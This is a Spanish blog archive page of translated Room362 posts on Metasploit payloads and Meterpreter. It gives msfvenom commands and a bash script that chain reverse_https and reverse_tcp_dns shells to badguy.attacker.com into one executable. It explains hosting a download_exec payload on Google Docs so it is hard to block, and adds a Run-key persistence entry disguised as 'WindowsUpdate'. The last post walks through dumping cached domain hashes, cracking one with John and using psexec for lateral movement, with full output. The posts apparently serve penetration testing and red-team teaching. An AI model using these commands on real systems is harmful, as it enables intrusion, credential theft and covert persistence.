Mostrando entradas con la etiqueta Meterpreter. Mostrar todas las entradas
Mostrando entradas con la etiqueta Meterpreter. Mostrar todas las entradas

sábado, 30 de julio de 2011

Payloads de Metasploit Explicados - Parte 1b

Este artículo se encuentra basado en el post Metasploit Payloads Explained - Part 1B publicado por Rob Fuller a.k.a @mubix

Esta serie fue interrumpida hace unos días debido a la aparición de los nuevos payloads HTTP/HTTPS de Metasploit. No me quejo, ya que las nuevas funcionalidades (como veremos en la parte 2 de esta serie), son adiciónes épicas a la lista de payloads. Sin embargo, un cambio importante sucedió mientras se desataba esta locura con la aparición de los nuevos payloads. ScriptJunkie coló un impresionante cambio en msfvenom (mas conocido como msffsm).

Aquí está el enlace al ticket del cambio y a la revisión (r13057)

TL;DR version: Este cambio nos permite poner múltiples payloads en un mismo binario.

ScriptJunkie da el siguiente ejemplo:

root@bt:~#ruby msfvenom -p windows/messagebox -f raw EXITFUNC=thread > /tmp/msgbox.raw

root@bt:~#ruby msfvenom -p windows/meterpreter/reverse_tcp -f raw -t /tmp/msgbox.raw -k LHOST=192.168.0.102 EXITFUNC=thread > /tmp/rev102msgbox.raw

root@bt:~#ruby msfvenom -p - -f exe < /tmp/rev102msgbox.raw > /tmp/rev102msgbox.exe

En este ejemplo, cuando el binario rev102msgbox.exe se ejecuta, muestra un mensaje emergente con las opciones predeterminadas (Hello, from MSF!) y dispara una conexión reversa tcp a la IP 192.168.0.102 en el puerto predeterminado 4444.

Este es un grán ejemplo y una buena forma de verificar que el payload funciona, pero no le vamos a informar a la víctima que estamos ahi simplemente diciendo "Hola" (especialmente si no estamos ahi para verle la cara :-P ).

Pienso entonces que esta sería una buena forma de lanzar un grupo de payloads para verificar algunas de las formas ya probadas de obtener acceso más allá de las redes restringidas, todo en un único binario.

Empezamos entonces con 3 payloads:

  • reverse_tcp_dns to port 7815
  • reverse_tcp_dns to port 80
  • reverse_https to port 443

Escogí estos porque puedo cambiar el DNS para que apunte a una nueva dirección IP en el futuro sin tener que volver a generar mi binario y el tamaño no es una preocupación ya que no lo utilizaremos en ningún exploit.

NOTA: El motivo por el cual utilizaré el puerto 7815 es debido a que algunas veces existen configuraciones de proxy para el puerto 80 y 443 los cuales ya estan soportados por los nuevos payloads HTTP/HTTPS (excepto proxys de autenticación) pero por alguna razón, en algunas redes corporativas aun se permite el tráfico a puertos no comunes sin restricción alguna.

A continuación lo que hice:

root@bt:~#./msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=badguy.attacker.com LPORT=443 > /tmp/stage1.raw

root@bt:~#./msfvenom -p windows/meterpreter/reverse_tcp_dns -f raw LHOST=badguy.attacker.com LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw

root@bt:~#./msfvenom -p windows/meterpreter/reverse_tcp_dns -f exe LHOST=badguy2.attacker.com LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe

Afortunadamente (y veremos el por qué en un segundo), olvidé configurar un multi/handler en el puerto 7815, lo cual hizo darme cuenta de un problema. Cuando uno de los payloads fallaba en conectarse, el proceso 'ExitProcess' era llamado, causando que los demas payloads fueran terminados prematuramente (aunque estos ya estuvieran en segunda instancia).

Probé configurando AutoRunScript para usar 'migrate -f' de tal forma que los payloads migrarían en un nuevo proceso de Notepad. Pero la conexión se cayó muy rápidamente y los payloads no alcanzaron a hacer lo suyo.

Llega ReverseConnectRetries al rescate. Esta es una configuración avanzada para la familia reverse_tcp (ipv6_tcp, nonx_tcp, ord_tcp, tcp, tcp_allports, tcp_dns) la cual le dice al payload cuantas veces debe hacer loop a través de la conexión inicial. El valor por defecto es 5 pero puede ser entre 1 y 255. El valor de 255 es especial ya que establece un loop infinito.

Bien, se supone que si fallamos de nuevo ya no se llamará el comando ExitProcess, cierto? Pues esto no es del todo cierto, reverse_https y reverse_http no tienen este parámetro. Aun nos encontramos en una condición de carrera si queremos usar esos payloads, pero al menos es una carrera que podemos ganar.

He escrito un script de batch muy simple para generar mi nuevo binario cuando lo necesite (tampoco tendré que recordar todos los comandos):

#!/bin/bash

echo Building Stage 1

./msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=badguy.attacker.com LPORT=443 > /tmp/stage1.raw


echo Building Stage 2

./msfvenom -p windows/meterpreter/reverse_tcp_dns -f raw LHOST=badguy.attacker.com ReverseConnectRetries=255 LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw


echo Building Stage 3

./msfvenom -p windows/meterpreter/reverse_tcp_dns -f exe LHOST=badguy2.attacker.com ReverseConnectRetries=255 LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe


echo Cleaning up...

rm -rf /tmp/stage1.raw /tmp/stage2.raw

echo Done..

Adicionalmente nos dice lo que está pasando y hace un poco de limpieza, dejandonos solamente el binario-hydra. Una de las cosas que pensé agregar fue el payload cmd/windows/adduser de tal forma que si el usuario víctima es admin podemos tomarnos el día libre sin tener que agregarnos un usuario pero decidí no hacerlo por cuestiones de limpieza y por no generar ruido.

(Tambien notaremos que uno de los payloads hace otras cositas... No hay razón para no permitirle a nuestros payloads usar toda su potencia no?). Compartir es bueno.

domingo, 26 de junio de 2011

Payloads de Metasploit Explicados - Parte 1A

Este artículo se encuentra basado en el post Metasploit Payloads Explained - Part 1A publicado por Rob Fuller a.k.a @mubix

En la parte 1 de esta serie vimos un ejemplo utilizado por @mubix en CCDC con el payload single "windows/download_exec". Una de las desventajas de este payload es que necesitamos hospedar el binario en un servidor web, dándole una IP o nombre de host que puede ser bloqueado. Bien, Google recientemente (hace un par de meses), permite cargar cualquier clase de archivo a Google Docs. Y además podemos compartir estos archivos públicamente. Probablemente ya pueden ver a donde vamos con esto, pero se requiere seguir algunos pasos. Primero cargamos el binario malicioso (no el dropper 'windows/download_exec', pero sí el archivo que este requiere para ejecutar). Creo que es muy fácil y no se necesita una foto para encontrar el botón Cargar ;-)



Luego, vamos a Action -> Share -> Share and make it public:







Obtendremos un enlace que diga docs.google.com / leaf?id= algunacosa:





Vamos a ese enlace y copiamos el enlace que diga "Download"

Debemos obtener algo como esto:


https://docs.google.com/uc?id=XXXXXXXX&export=download&hl=en_US

Borramos todo después del & y cambiamos https a http (download_exec no habla SSL) entonces tendremos algo asi:

http://docs.google.com/uc?id=XXXXXXXX

Ahora usamos ese enlace en la opción "URL" cuando generemos nuestro binario "windows/download_exec" y ya debemos estar listos para seguir. Aun podemos cambier nuestros binarios en cualquier momento haciendo click-derecho en el archivo en la lista de Google Docs y seleccionar "Agregar o administrar revisiones". Además, tenemos la ventaja de ser virtualmente no-bloqueables.

Algo en lo que debemos ser cuidadosos es en la descarga de enlaces "leaf" que se encuentran aun vigentes si se ponen los archivos en el directorio "trash" en Google Docs. Para esto necesitamos vaciar el directorio trash para que estos queden totalmente offline.

Para aquellos que atienden incidentes de seguridad, si encuentran algo haciendo estas solicitudes, cambien la porción UC de la descarga de regreso a "leaf" y podrán saber cuando fue cargado el archivo malicioso, podrán tener habilitada la opción "Reportar Contenido Abusivo" lo cual hará que la cuenta sea revisada por Google si continúa haciendo "cosas malas".

Payloads de Metasploit Explicados - Parte 1

Este artículo se encuentra basado en el post Metasploit Payloads Explained - Part 1 publicado por Rob Fuller a.k.a @mubix

La selección de payloads es algo sobre lo cual raramente se habla en detalle. La mayoría de la pruebas de concepto (PoC) solo utilizan calc.exe, netcat, o alguna clase de socket. La vasta mayoría de tutoriales de Metasploit, videos y documentación utilizan el payload windows/meterpreter/reverse_tcp el cual es uno de los 224 payloads posibles. Una pequeña advertencia: Ya que los payloads en Metasploit no se actualizan con la misma frecuencia como otros componentes de Metasploit, este es un punto en la documentación de estos (Junio 23, 2011) y los payloads disponibles en Metasploit están cambiando constantemente. Los reto a continuar haciendo un 'show payloads' y ver que hay de nuevo.

Si ejecutamos 'show payloads' en la base de la consola de Metasploit (msf>), veremos todos los payloads disponibles en Metasploit. Sin embargo, los desarrolladores de módulos de exploits pueden ayudar un poco al usuario con su selección ubicando limitadores especiales dentro de su módulo. Estos limitadores pueden ser tan específicos como el apuntar a un payload específico, o tan general como el especificar que solo trabajará con un payload de 'windows'. Como ejemplo decente de esta acción revisemos el módulo de exploit JBoss "bshdeployer" (modules/exploits/multi/http/jboss_bshdeployer.rb).

Los payloads que tiene Metasploit se desglosan en 'staged', 'stagers', y 'singles (también conocidos como Inline)'. La diferencia entre 'staged' y 'stagers' es muy simple, los payloads 'staged' utilizan pequeños 'stagers' para poder ajustarse en pequeños espacios de explotación. Durante la explotación, el desarrollador del exploit por lo regular tiene una muy limitada cantidad de memoria que pueda manipular a través de las entradas de los programas que están explotando. Los stagers van en este espacio y su único trabajo derribar el resto del payload 'staged'. La desventaja de este tipo de payloads es que requieren una conexión a algo que les palanqueará el resto del payload. Los payloads Inline o 'singles' no tienen este problema. Estos se encuentran auto-contenidos y hacen lo que estan diseñados a hacer sin asistencia alguna.

Todos los exploits en Metasploit utilizan el único y conocido Multi Handler. Lo podemos llamar así por la forma en como lo invocamos:

msf> use multi/handler

Es un título apropiado, ya que se encuentra equipado para manejar cada uno de los exploits dentro de Metasploit sin importar la arquitectura o el tipo de conexión que se esté haciendo. Sabe cómo tratar con cada tipo de payload porque le decimos que esperar, pero eso no quita el hecho de que en esta sencilla utilidad se encuentra el escalón fundamental para todas la explotaciones con Metasploit.

La estructura de la mayoría de los payloads dice exactamente lo que hacen, pero no siempre. Si dice en la descripción que en un payload "Inline" eso significa es que es un payload single (independiente), si dice que es un "Stager" significa que es un payload montable. Vamos a ver algunos de los menos conocidos:

cmd/windows/adduser - Este es un payload individual que ejecuta "net user /add" con el nombre de usuario y contraseña que hemos especificado. Este payload no indica que es "Inline" pero todos los payloads de los grupos "cmd/*" o "*/exec" son individuales.

osx/armle/vibrate - Un payload individual que cuando se ejecuta en un iPhone, lo hace vibrar.

generic/debug_trap - Dispara un depurador si se adjunta al proceso (envia un byte simple \xCC 'break')

Una cosa que no es inmediatamente obvia es otro marcador de los payloads montables (staged) vs. los individuales (singles):

osx/ppc/shell/reverse_tcp
osx/ppc/shell_reverse_tcp

La diferencia entre estos dos payloads no es mas obvia que el hecho que una tiene un underscore '_' en lugar de un forward slash '/'. El payload con el underscore significa que es un payload individual mientras que el otro significa que es un payload montable. Pero la arquitectura de la convención de nombramiento de estos payloads es un poco complicada. La mayoria se ajustan a OS/ARCHITECTURE/TYPE/PAYLOAD donde un slash en lugar de un underscore entre TYPE y PAYLOAD significará la diferencia que acabamos de tratar. Pero no todos los payloads se ajustan a este formato. Podemos incluso enloquecernos e ir a revisar el directorio: msfdirectory/modules/payloads/ - todo en el directorio singles, es efectivamente un payload individual.

Los payloads individuales son los mejores para disparar y olvidarnos de ellos, son utilizados como payloads para memorias USB (de tal forma que la máquina no tiene que tener una conexión para hacer lo que se necesita) hasta llegar a un método de persistencia muy astuto. Uno que he utilizado con frecuencia en CCDC era el del payload: 'windows/download_exec'. La única opción que tiene este payload individual es "URL". Aqui se define algo como http://www.redteam.com/evil.exe y se genera el binario:



(Si, es posible utilizar msfpayload o msfvenom en la línea de comando para generar payloads, pero me gusta permanecer dentro de msfconsole).

Entonces definimos eso a auto iniciar cuando alguien inicie sesión como :

meterpreter > reg setval -k "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -v "WindowsUpdate" -d "C:\\Windows\\dropper.exe"

Ahora todo lo que tenemos que hacer es esperar por logins. Si sucede que encuentran nuestro binario evil.exe (el cual download_exec lo hace "a.exe"y lo pone en System32), y bloquean nuestra IP, todo lo que hacer es reemplazar evil.exe en nuestro servidor web y esperar a que este descargue uno nuevo. Una forma cruda de persistencia, pero funciona bien.

Yo voy a terminar esto con una lista de todos los payloads... En el próximo artículo veremos Meterpreter, el mejor payload en mi humilde y totalmente imparcial opinión -;), con un poco de pivotaje lanzado en buena medida.

 

jueves, 3 de marzo de 2011

Cachedump para Meterpreter en Acción

1. Descargar:
wget http://lab.mediaservice.net/code/cachedump.rb

2. Guardar en el directorio de Metasploit (Backtrack):
mv cachedump.rb  /pentest/exploits/framework3/modules/post/windows/gather

3. Cargar la consola, hackear algo y obtener privilegios de SYSTEM, luego:
meterpreter > run post/windows/gather/cachedump
[*] Executing module against WORKSTATION244
[*] Obtaining the boot key...
[*] Trying 'XP' style...
[*] Getting PolSecretEncryptionKey...
[*] XP compatible client
[*] Lsa Key: 29249a6480f428cb6dacba2d30d5292c
[*] Getting LK$KM...
[*] Dumping cached credentials...
Username             : jdoe
Hash                 : 592cdfbc3f1ef77ae95c75f851e37166
Last login           : 2010-05-11 01:43:48
DNS Domain Name      : CONTOSO.CO
Effective Name       : jdo
Full Name            : eJane Do
User ID              : 1107
Primary Group ID     : 513
Additional groups    : 33620069 33554432 34013184
Logon domain name    : CONTOS
----------------------------------------------------------------------
[*] John the Ripper format:
jdoe:592cdfbc3f1ef77ae95c75f851e37166:CONTOSO.CO:CONTOS
[*] Hash are in MSCACHE format. (mscash)
meterpreter >

4. Romperla:
cat lab.dic | ./john --stdin lab.mscash --format=mscash --pot=lab.pot
Loaded 1 password hash (M$ Cache Hash [Generic 1x])
ASDqwe123        (jdoe)
guesses: 1  time: 0:00:00:00  c/s: 500  trying: ASDqwe123

5. Usarla:
meterpreter > background
msf exploit(handler) > route add 10.10.10.0 255.255.255.0 1
msf exploit(handler) > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(psexec) > set LPORT 80
LPORT => 80
msf exploit(psexec) > set SMBDomain Contoso

SMBDomain => Contoso
msf exploit(psexec) > set SMBUser jdoe
SMBUser => jdoe
msf exploit(psexec) > set SMBPass ASDqwe123
SMBPass => ASDqwe123
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       Set the SMB service port
   SMBDomain  Contoso          no        The Windows domain to use for authentication
   SMBPass    ASDqwe123        no        The password for the specified username
   SMBUser    jdoe             no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST     X.X.X.X          yes       The listen address
   LPORT     80               yes       The listen port
 
Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > set RHOST 10.10.10.200
RHOST => 10.10.10.200
msf exploit(psexec) > exploit

[*] Started reverse handler on X.X.X.X:80
[*] Connecting to the server...
[*] Authenticating to 10.10.10.200:445|Contoso as user 'jdoe'...
[*] Uploading payload...
[*] Created \jSlxARUj.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (SyHtwKpn - "MbEXNupOpYUL")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \jSlxARUj.exe...
[*] Meterpreter session 2 opened (X.X.X.X:80 -> X.X.X.X:54430) at Mon Feb 14 22:23:00 +0000 2011

Woot ;-)

Cross-posted translation from Room362